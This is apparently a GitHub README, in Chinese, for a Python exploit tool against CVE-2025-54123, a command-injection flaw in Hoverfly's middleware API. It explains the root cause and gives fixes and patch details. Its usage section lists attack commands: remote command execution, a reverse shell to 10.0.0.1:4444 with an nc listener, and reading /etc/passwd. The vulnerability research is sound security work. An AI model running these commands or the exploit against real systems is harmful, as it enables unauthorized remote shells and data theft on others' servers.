0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

GitHub: 0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

针对 Hoverfly 中间件 API 远程代码执行漏洞(CVE-2025-54123)的 Python 利用工具,支持命令执行与反向 Shell 等多种模式。

Stars: 1 | Forks: 0

# CVE-2025-54123 — Hoverfly Middleware API 远程代码执行 ## 漏洞概述 | 属性 | 值 | |-----------------|-----------------------------------------------------------------------| | **CVE ID** | [CVE-2025-54123](https://nvd.nist.gov/vuln/detail/CVE-2025-54123) | | **CVSS Score** | **9.8 — 严重** | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-78 (OS 命令注入), CWE-20 (输入验证不恰当) | | **产品** | [Hoverfly](https://github.com/SpectoLabs/hoverfly) — 开源 API 模拟工具 | | **受影响版本** | 包含 **1.11.3** 及之前的所有版本 | | **修复版本** | **1.12.0** ([补丁提交](https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40)) | | **安全公告** | [GHSA-r4h8-hfp2-ggmf](https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf) | ## 技术分析 以下是从白盒和黑盒视角进行的案例深入分析与技术分析: https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a ### 攻击面 Hoverfly 暴露了一个 RESTful 管理 API(默认端口 `8888`),用于管理模拟配置。位于 **`/api/v2/hoverfly/middleware`** 的中间件管理 endpoint 接收带有 `binary` 和 `script` 字段的 JSON body,这些字段定义了外部的 middleware 进程。 ### 根本原因 该漏洞源于**三个代码级别的缺陷**的结合: 1. **输入验证不充分** — [`middleware.go:93-96`](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93):`SetBinary()` 函数接受 `binary` 参数时没有任何验证或过滤,允许攻击者指定任意可执行文件(例如 `bash`)。 2. **不安全的命令执行** — [`local_middleware.go:14-19`](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13):中间件通过 `exec.Command()` 执行,受攻击者控制的 `binary` 和 `script` 值作为参数直接传入,导致了 OS 命令注入。 3. **测试期间立即执行** — [`hoverfly_service.go:173`](https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173):当通过 API 设置中间件时,Hoverfly 会通过执行它来立即测试中间件,从而在配置阶段(而不是在代理拦截阶段)触发注入的命令。 ### 攻击流程 ``` Attacker Hoverfly (≤ 1.11.3) │ │ │─── POST /api/token-auth ──────────────>│ (1) Authenticate │<── { "token": "eyJ..." } ─────────────│ │ │ │─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload │ { "binary": "bash", │ │ "script": "" } │ │ │ │ ┌──────────────────────────────────┐│ │ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution │ │ → attacker command runs as ││ │ │ the Hoverfly process user ││ │ └──────────────────────────────────┘│ │ │ │<── Command output in error response ──│ (4) Exfiltrate output │ │ ``` ## 漏洞利用用法 ### 前置条件 - Python 3.8+ - Hoverfly 管理 API 的有效凭据(默认:`admin` / 可配置密码) ### 安装 ``` git clone https://github.com//CVE-2025-54123.git cd CVE-2025-54123 pip install -r requirements.txt ``` ### 操作模式 #### 仅检查模式 验证目标可达性和身份验证,但不进行漏洞利用: ``` python3 exploit.py -u http://target:8888 -U admin -P -C ``` #### 单命令执行 在目标上执行单个 OS 命令: ``` python3 exploit.py -u http://target:8888 -U admin -P -c 'id' ``` #### 交互式伪 Shell 进入持久的 shell 会话: ``` python3 exploit.py -u http://target:8888 -U admin -P -i ``` #### 反向 Shell 向你的监听器发送反向 shell: ``` # Terminal 1 — 启动监听器 nc -lvnp 4444 # Terminal 2 — 启动 exploit python3 exploit.py -u http://target:8888 -U admin -P --revshell 10.0.0.1:4444 ``` #### 使用代理的详细模式 通过 Burp Suite 路由流量以进行检查: ``` python3 exploit.py -u http://target:8888 -U admin -P -c 'cat /etc/passwd' --proxy -v ``` ### 完整参数说明 | 参数 | 描述 | 默认值 | |---------------------|------------------------------------------|-----------| | `-u`, `--url` | 目标 Hoverfly URL | 必填 | | `-U`, `--username` | 管理员用户名 | 必填 | | `-P`, `--password` | 管理员密码 | 必填 | | `-c`, `--command` | 要执行的 OS 命令 | — | | `-C`, `--check` | 仅检查模式(不进行漏洞利用) | `false` | | `-i`, `--interactive` | 交互式伪 shell | `false` | | `--revshell` | 反向 shell `LHOST:LPORT` | — | | `--proxy` | 通过 `127.0.0.1:8080` 路由 | `false` | | `--timeout` | 请求超时(秒) | `15` | | `-v`, `--verbose` | 启用详细输出 | `false` | ## 修复建议 | 操作 | 详情 | |--------|---------| | **升级** | 将 Hoverfly 更新至 **v1.12.0** 或更高版本,该版本默认禁用 set middleware API | | **网络隔离** | 限制对 Hoverfly 管理 API(端口 `8888`)的访问,仅允许受信任的网络访问 | | **身份验证** | 为 Hoverfly 管理 API 使用强大且唯一的密码 | | **监控** | 监控针对 `/api/v2/hoverfly/middleware` 的意外 `PUT` 请求 | ### 补丁详情 [提交 `17e60a9`](https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40) 中的修复默认禁用了 set middleware API。随后对文档的更改([提交 `a9d4da7`](https://github.com/SpectoLabs/hoverfly/commit/a9d4da7bd7269651f54542ab790d0c613d568d3e))提醒用户注意暴露此 endpoint 的安全影响。 ## 参考文献 - [NVD — CVE-2025-54123](https://nvd.nist.gov/vuln/detail/CVE-2025-54123) - [GitHub 安全公告 — GHSA-r4h8-hfp2-ggmf](https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf) - [存在漏洞的代码 — hoverfly_service.go#L173](https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173) - [存在漏洞的代码 — middleware.go#L93](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93) - [存在漏洞的代码 — local_middleware.go#L13](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13) - [补丁提交 — 17e60a9](https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40) ## 免责声明 ## 项目结构 ``` CVE-2025-54123/ ├── Exploit/ │ ├── exploit.py # Polished exploit │ └── raw_exploit.py # Original raw PoC ├── Images/ # Research screenshots ├── Reference/ # Reference exploits for study ├── requirements.txt # Python dependencies └── README.md # This file ``` ## 作者 **Phantom Hat** — 安全研究员 *这项研究是作为教育目的的漏洞案例研究的一部分进行的。*
标签:API安全, Go语言工具, JSON输出, 命令注入, 安全漏洞, 漏洞分析, 编程工具, 路径探测, 远程代码执行, 逆向工具